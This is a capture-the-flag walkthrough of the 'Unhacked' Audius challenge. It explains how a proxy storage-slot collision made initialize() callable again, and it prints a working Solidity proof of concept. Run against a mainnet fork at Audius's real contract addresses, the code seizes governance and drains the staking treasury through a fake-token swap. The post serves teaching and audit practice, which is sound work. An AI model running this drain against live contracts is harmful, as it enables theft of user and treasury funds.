Unhacked CTF - Audius (walkthrough)

Unhacked CTF - Audius (walkthrough)

Why you shouldn't modify already battle-tested security measures ones exist.

ยท

7 min read

Introduction

After solving the last challenge, I moved on to this one titled "Audius", and as of the time when I'm publishing this, this is the last (3rd) challenge.

I saw that there's multiple solutions available listed in the Tests, so I knew that there's more than one route.

Having cloned the repo, and seeing a lot of stakeholders in the system, I decided to follow a methodical approach to evaluating the contracts.

Auditing

Challenge description

This is what the challenge description reads on the Audius challenge repo:

audius is a streaming music service with a market cap of over $250mm.

in july, they were hacked and their treasury was emptied of all its $AUDIO tokens.

the simple soundbite is that there was a storage slot collision with a proxy contract that allowed reinitialization of existing contracts. since all of the contracts are behind a proxy, this collision meant that the initialize() function of all contracts could be called any time.

but how can we exploit this vulnerability to drain the treasury?

your job is to use this knowledge, dig into the code, and empty the treasury of over 18mm $AUDIO tokens before the blackhat does.

Studying the architecture

The first thing I decided to do, was to study the architecture of Audius. For this, I went to their Docs, and opened their "API" page.

There wasn't any information I could use, but I did find a lovely header animation effect made with pure CSS. Here, see this. Learnt about how mix-blend-mode can be used, haha!

Anyways, back to Audius!

I saw a link to their Whitepaper, so, I decided to read it through, and understand the system. What I also did, was go through their docs here.

So, what I gathered, is that they're a music platform, that allows artists to independently publish their work, get paid for it, and allows users to listen to these tracks. $AUDIO is the ERC20 token they use in their system.

Content metadata (artists' tracks) is stored both on an on-chain ledger (called "content-ledger"), plus on an off-chain network of "discovery-node"s, which helps users search through music libraries on Audius.

Also, an off-chain storage network (run by "content-node"s) is used to store the actual data, with same metadata as the one in registry.

Each node must stake some $AUDIO to continue working, and earn $AUDIO as incentives for doing so. If gated, users need to pay $AUDIO to access music, created by artists, who also need to stake $AUDIO to become publishers.

In addition to this, there's Governance for $AUDIO holders.

I'm supposed to work on the contracts, so I decided to look into the "content-ledger" side of it all.

Studying the contracts

Then I proceeded to study the contracts in the repo.

There were a lot of commonly used ones, so I decided to skip those.

The whole system used two variants of contracts -

  1. AudiusAdminUpgradeabilityProxy - Acts as proxy contracts to all of Audius contracts that need to run behind an upgradeable proxy. It extends some proxy base classes from OpenZeppelin.
  2. InitializableV2 - Adds on to implementation contracts (for the proxy) by extending Initializable from OpenZeppelin.

I'd read on the challenge description that there's supposed to be a storage collision, but, after tediously checking again and again, I just couldn't understand how that was even possible - the AudiusAdminUpgradeabilityProxy had proxyAdmin in its first slot, whereas the InitializableV2 also had the same (check this), followed by filler1, filler2, and then initialization boolean flags.

How is there an exploitable collision? I mean, I can already see other security concerns, but none that can actually cause trouble.

I gave up after hours, because I knew that this isn't possible.

So, I had a look at the Post mortem of the incident, and after scrolling, found a link to their Initializable, and guess what? There's no proxyAdmin, filler1 and filler2 there!

For some reason, the challenge author decided to add these, and ended up making the challenge unsolvable.

Commit cb5fb6e01b6297d3ba0bbbf4004541a8294c555d introduced these, so I forked a branch from there, and removed this line from Initializable (because it's not there in the original contracts that were attacked):

require(msg.sender == proxyAdmin, "Only proxy admin can initialize");

Ofc now it would work!

Now, looking at the constructor of AudiusAdminUpgradeabilityProxy, I saw that UpgradeabilityProxy (which AudiusAdminUpgradeabilityProxy extends from) constructor calls the initializer function first (in the implementation), and then AudiusAdminUpgradeabilityProxy proceeds to store the proxyAdmin (there's no need of this at all).

InitializableV2 stores initialized, initializing and isInitialized in slot 0, all set during the initialize() function call.

So, what happens now, is that there's a storage clash at slot 0.

AudiusAdminUpgradeabilityProxy constructor first causes the 3 initializable flags to be set at slot 0, then overwrites them with proxyAdmin, which I'm sure will cause solidity to read the booleans are truthy values.

And since initializer() modifier can do with initializing set to true, the modifier check would always pass! In other words, all Audius contracts extending InitializableV2 are reinitializable as many times as you want!

Escalating the vulnerability

So now that I know I can reinitialize whatever I want, how do I use this to give myself $AUDIO?

The challenge mentioned the treasury, and the Staking contract sounded like one, so I decided to jump into that one.

The delegateStakeFor() allows Delegate Manager to delegate (take) someone else's $AUDIO tokens and stake it for you. Conversely, the undelegateStakeFor() does the opposite!

But I'm not a Delegate Manager. Or am I?

I can call setDelegateManagerAddress() to become the DM, but I need to be the Governance to be doing that. Luckily, the initialize() allows us to do exactly that!

Okay, so I now I can just essentially take anybody's $AUDIO, and stake it under myself. BUT, for this, I need to be approved by holders to do so, which I'm not.

But then I recalled that the initialize() also allowed you to set whatever ERC20 you want, yes? What if, what I delegate doesn't have to be the same as what I undelegate? What if I set a dummy token, then stake someone else's dummy token (under my control), then set up the original $AUDIO token, then proceed to unstake? That would work!

However, the undelegateStakeFor() can only send the staker as much $AUDIO as the Staking contract holds.

What if, I stake under myself on behalf of Staking itself, then unstake and run off? That would work!

Staking uses SafeERC20 library for ERC20 tokens, so, undelegateStakeFor() uses transferFrom() to transfer tokens.

POC

Here's the attack contract I wrote. I deleted the lines that used Vm, since solidity 0.5 cannot use it.

For forking, I just ran the test with a fork url and fork block number mentioned in the command-line args.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.5.0;

import "ds-test/test.sol";
import "forge-std/console.sol";

import "../src/Governance.sol";
import "../src/Staking.sol";
import "../src/DelegateManager.sol";
import "../src/Registry.sol";
import "../src/token/AudiusToken.sol";

/**
Run test by:
forge test --match-path ./test/AudiusHack.t.sol --fork-url https://rpc.ankr.com/eth --fork-block-number 15201700 -vv
 */

contract ContractTest is DSTest {
    Governance gov;
    Staking st;
    DelegateManager dm;
    Registry reg;
    AudiusToken token;
    FakeAudio fakeAudio;

    function setUp() public {
        gov = Governance(0x4DEcA517D6817B6510798b7328F2314d3003AbAC);
        st = Staking(0xe6D97B2099F142513be7A2a068bE040656Ae4591);
        dm = DelegateManager(0x4d7968ebfD390D5E7926Cb3587C39eFf2F9FB225);
        reg = Registry(0xd976d3b4f4e22a238c1A736b6612D22f17b6f64C);
        token = AudiusToken(0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998);

        fakeAudio = new FakeAudio();
    }

    function testAudiusHack() public {
        //vm.createSelectFork("INSERT MAINNET RPC", 15201700);
        console.log("Audius Balance: ", token.balanceOf(address(this)));

        // HACK AWAY! (Don't forget you can use vm.roll(newBlock) to simulate multiple blocks)

        // 1. Make this contract Governance, and replace $AUDIO by FakeAudio ERC20
        st.initialize(address(fakeAudio), address(this));

        // 2. Make this contract DelegateManager
        st.setDelegateManagerAddress(address(this));

        // 3. Call `delegateStakeFor()` on behalf of Staking, Governance and DM
        uint256 tokensStolen = token.balanceOf(address(st));
        st.delegateStakeFor(address(this), address(st), tokensStolen);

        // 4. Replace FakeAudio by real $AUDIO
        st.initialize(address(token), address(this));

        // 5. Call `undelegateStakeFor()` on behalf of this contract
        st.undelegateStakeFor(address(this), address(this), tokensStolen);

        console.log("Audius Balance: ", token.balanceOf(address(this)));
        require(
            token.balanceOf(address(this)) > 18_000_000 ether,
            "do better!"
        );
    }

    /**
    Needed for when Staking tests if this contract is Governance
     */
    function isGovernanceAddress() external pure returns (bool) {
        return true;
    }
}

contract FakeAudio {
    function transferFrom(
        address _holder,
        address _to,
        uint256 _amount
    ) external {}
}

And now for the big moment:

Running the attack

I just took 357M $AUDIO! The original challenge just stole 18M or so (but with a different attack route, as I read later in the post mortem report. If they did what I did, I don't think the project would've continued)!

Takeaway

The system would've been secure by itself, only if it hadn't customised the proxy and the initializable functionalities.

It goes to show that when you modify existing battle-tested security solutions, you must be extra-careful to see if it doesn't fail the system wherever it's integrated.

This was a dangerous vulnerability, and I'm honestly surprised how Audius wasn't abandoned. Too many stakeholders perhaps? Anyways, good for them!

ย